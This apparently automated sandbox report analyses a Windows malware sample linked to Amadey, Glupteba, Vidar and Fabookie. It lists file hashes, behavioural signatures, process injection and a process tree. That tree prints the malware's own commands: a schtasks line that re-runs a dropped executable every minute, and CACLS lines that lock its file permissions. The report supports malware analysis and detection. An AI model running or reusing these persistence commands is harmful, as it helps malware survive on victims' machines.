memory/2356-0-0x00000000746E0000-0x0000000074E90000-memory.dmp

memory/2356-1-0x0000000000E00000-0x0000000000E5E000-memory.dmp

memory/2356-2-0x00000000058D0000-0x000000000596C000-memory.dmp

memory/2356-3-0x00000000060A0000-0x0000000006644000-memory.dmp

memory/2356-4-0x0000000005BF0000-0x0000000005C82000-memory.dmp

memory/2356-5-0x0000000005F80000-0x0000000005F90000-memory.dmp

memory/2356-6-0x00000000057D0000-0x00000000057DA000-memory.dmp

memory/2356-7-0x0000000005A90000-0x0000000005AD4000-memory.dmp

memory/2356-8-0x0000000005EA0000-0x0000000005EBA000-memory.dmp

memory/1440-9-0x0000000000400000-0x0000000000408000-memory.dmp

memory/2356-11-0x00000000746E0000-0x0000000074E90000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 4d25fc6e43a16159ebfd161f28e16ef7
SHA1 49941a4bc3ed1ef90c7bcf1a8f0731c6a68facb4
SHA256 cee74fad9d775323a5843d9e55c770314e8b58ec08653c7b2ce8e8049df42bb5
SHA512 ea598fb8bfe15c777daeb025da98674fe8652f7341e5d150d188c46744fce11c4d20d1686d185039c5025c9a4252d1585686b1c3a4df4252e69675aaf37edfc1

\??\pipe\LOCAL\crashpad_5012_QOUWYUBVCUELHAXO

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\98db8c3c-f37c-4e18-99e0-dad644dff792.tmp

MD5 c6ec8804af44aa0d4441b71a53e7b61b
SHA1 d4d7e308b63b46aaac6eb12e36edd404b40512b9
SHA256 c458d0b00129804a589834322cd0f3b35c0019d6a57786a37b8eae35b1735e8b
SHA512 11fd5a6bd56b11941357c563cd7ad34eedc07d5bf985cb3d8cff27c0c397a5425ee0ca00286b0f98e2b37d497ac36a38dbcc1e93aebfb1ffc1cd88dd275a04b7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 4d25fc6e43a16159ebfd161f28e16ef7
SHA1 49941a4bc3ed1ef90c7bcf1a8f0731c6a68facb4
SHA256 cee74fad9d775323a5843d9e55c770314e8b58ec08653c7b2ce8e8049df42bb5
SHA512 ea598fb8bfe15c777daeb025da98674fe8652f7341e5d150d188c46744fce11c4d20d1686d185039c5025c9a4252d1585686b1c3a4df4252e69675aaf37edfc1

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 59547f04a9da3b115b5fb03cc03c2407
SHA1 d91b9e126dbbf5b21eb0ed771d4e497cdb2b67da
SHA256 0fe5ba0afd9933d88738ae99ed32273a3fb4f51c68472b47f60e4ed78b637dcb
SHA512 bae8f07ea73417b89b82c8da9e7979b9180fbd26bc29942be8ccb7f298a5e49adba93a6b8760595c34f6070e37d043b3ff119ebfd7e4d976cda6f700e8466a9c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 b72e062a51d10becc5f3fbd4e5e29169
SHA1 94b9fe22f9618d5edf6aedcbea3d1e03164c6072
SHA256 4e82b6cad85428fd126783806d3713bbd8d0ce5c147b63c71fb4e81d3d54ea56
SHA512 96e348d872ac8f508eee54f21f10f6e9cf940abb3f64e5f8deeff6e02b74375ffc7884bdc5b5ad9c1384efabfb30ea47f78e7f92d3fc8f5c12ff4506eb624163

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

MD5 d555d038867542dfb2fb0575a0d3174e
SHA1 1a5868d6df0b5de26cf3fc7310b628ce0a3726f0
SHA256 044cac379dddf0c21b8e7ee4079d21c67e28795d14e678dbf3e35900f25a1e2e
SHA512 d8220966fe6c3ae4499bc95ab3aead087a3dd915853320648849d2fc123a4acd157b7dba64af0108802522575a822651ecc005523c731423d9131ee679c2712f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 bb9f98e9ca0c58c26bb71eac3bd55a05
SHA1 382efd61066bb4d270e51f1d70e782db52ffd47c
SHA256 594328f49c33690eecb3482e45ee3bdeae9fb4f3ea34bcfcc70ad135eb63779d
SHA512 24ea69b03585b7dc3c5a9d4cb94485690b79d4315480d08b3f0e1be0d0812b9a67fa774e76a21cd7d01ccdaba53ff6d6d45a9b24580b37b10a8fd79cadc947e8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 2ce2c5f6ac429734ecc6329c4e961abd
SHA1 ec1b4d82df5bda1cd7a25fada2a775f8468c1a67
SHA256 38b1d192054224cea017af1208ce83db4fe7e37d6fca20751cc37113e9e066f4
SHA512 97cd72386b79a2e56d8f01aab369dd5fb34270dd3d543e3750fd67c361b2dd53918ac5eaa5c28c67331c4475e00f42fc254c228ea6474eac2878bccb67cc96ce

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe584bf8.TMP

MD5 95ed3d3a69685c1734e1ff35795095d6
SHA1 5c31ac54d34d38f0408b12f0bf42cc9970185370
SHA256 a348dc1ed2caddb64284a9185245d43b8620ba4c4bccd59f5d5db3948b9144f8
SHA512 3ce1c6405cbefef691e27a9aa1a00a53dd40acc4342c0825a1c590e83d40ca9577202c2c435143bfba55df20828a2c336db68f308142ada6f350290f924fffac

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 eaa755ba8701b352f3557b71b4a4b259
SHA1 7683a4ec4137ad966a2083657d637290d87515dc
SHA256 249cb1b449faf2dae7d4c0a5e89a429efb2973745dfa950ff1ffbb4bd83a5373
SHA512 14e6037797f59a4459e5778de387ea68e2c5024250b13ec4725a68d966cea9bb4bf10581c18a1c829dfc1bc8d1503ff4fc736e522c6b8fd944d5e0218213705a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 05592d6b429a6209d372dba7629ce97c
SHA1 b4d45e956e3ec9651d4e1e045b887c7ccbdde326
SHA256 3aacb982b8861c38a392829ee3156d05dfdd46b0ecb46154f0ea9374557bc0fd
SHA512 caa85bdccabea9250e8a5291f987b8d54362a7b3eec861c56f79cebb06277aa35d411e657ec632079f46affd4d6730e82115e7b317fbda55dacc16378528abaa

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-04 22:01

Reported

2023-10-04 22:04

Platform

win7-20230831-en

Max time kernel

24s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\file.exe"

Signatures

Amadey

trojan amadey

Detect Fabookie payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Fabookie

spyware stealer fabookie

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Vidar

stealer vidar

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Possible attempt to disable PatchGuard

evasion

Stops running service(s)

evasion

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZQt7ucaCq2MUxYgj2qhLYYQf.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tHiUYto9t5Ef1cGDPfK4E4Z3.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\95Ux3OBD9qIACh4w5GvnNYxC.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lfG0h4wBIyLhrryN1nwNS8PC.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MDHlcLNIwwET3T9Bx3V3hfh7.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\q74RkRaKvIAbr3bdaxedl8Tm.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuzkChZL0vLoFT8JJdJgB0GJ.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6sT8V8H7xOGXz1Faqe6SZOzQ.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\34UJlVONdrAisOFbaMRvAfZx.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fbR1gZzd73lRGA17Q1DOTfJN.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YdzLgp5lxins30aNwdtLpzeN.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2152 set thread context of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2152 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 2020 wrote to memory of 576 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe
PID 2020 wrote to memory of 576 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe
PID 2020 wrote to memory of 576 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe
PID 2020 wrote to memory of 576 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe
PID 2020 wrote to memory of 2844 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe
PID 2020 wrote to memory of 2844 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe
PID 2020 wrote to memory of 2844 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe
PID 2020 wrote to memory of 2844 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe
PID 576 wrote to memory of 1976 N/A C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
PID 576 wrote to memory of 1976 N/A C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
PID 576 wrote to memory of 1976 N/A C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
PID 576 wrote to memory of 1976 N/A C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
PID 2020 wrote to memory of 2036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe
PID 2020 wrote to memory of 2036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe
PID 2020 wrote to memory of 2036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe
PID 2020 wrote to memory of 2036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe
PID 2020 wrote to memory of 2036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe
PID 2020 wrote to memory of 2036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe
PID 2020 wrote to memory of 2036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe
PID 1976 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\schtasks.exe
PID 1976 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\schtasks.exe
PID 1976 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\schtasks.exe
PID 1976 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\schtasks.exe
PID 2020 wrote to memory of 396 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe
PID 2020 wrote to memory of 396 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe
PID 2020 wrote to memory of 396 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe
PID 2020 wrote to memory of 396 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe
PID 2020 wrote to memory of 340 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe
PID 2020 wrote to memory of 340 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe
PID 2020 wrote to memory of 340 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe
PID 2020 wrote to memory of 340 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe
PID 1976 wrote to memory of 1104 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 1104 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 1104 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\cmd.exe
PID 1976 wrote to memory of 1104 N/A C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe C:\Windows\SysWOW64\cmd.exe
PID 2020 wrote to memory of 3016 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe
PID 2020 wrote to memory of 3016 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe
PID 2020 wrote to memory of 3016 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe
PID 2020 wrote to memory of 3016 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe
PID 2020 wrote to memory of 608 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe
PID 2020 wrote to memory of 608 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe
PID 2020 wrote to memory of 608 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe
PID 2020 wrote to memory of 608 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe
PID 2020 wrote to memory of 536 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe
PID 2020 wrote to memory of 536 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe
PID 2020 wrote to memory of 536 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe
PID 2020 wrote to memory of 536 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe
PID 2020 wrote to memory of 1436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe
PID 2020 wrote to memory of 1436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe
PID 2020 wrote to memory of 1436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe
PID 2020 wrote to memory of 1436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe
PID 2020 wrote to memory of 1436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe
PID 2020 wrote to memory of 1436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe
PID 2020 wrote to memory of 1436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe
PID 2020 wrote to memory of 2340 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\Admin\Pictures\BogA5kGU3ICihsDNfoXLSyen.exe

Processes

C:\Users\Admin\AppData\Local\Temp\file.exe

"C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe

"C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe"

C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe

"C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe"

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

"C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"

C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe

"C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F

C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe

"C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe"

C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe

"C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit

C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe

"C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe"

C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe

"C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe"

C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe

"C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe"

C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe

"C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe" --silent --allusers=0

C:\Users\Admin\Pictures\BogA5kGU3ICihsDNfoXLSyen.exe

"C:\Users\Admin\Pictures\BogA5kGU3ICihsDNfoXLSyen.exe"

C:\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp

"C:\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp" /SL5="$90016,491750,408064,C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe"

C:\Windows\SysWOW64\cacls.exe

CACLS "nhdues.exe" /P "Admin:N"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "nhdues.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\1ff8bec27e" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

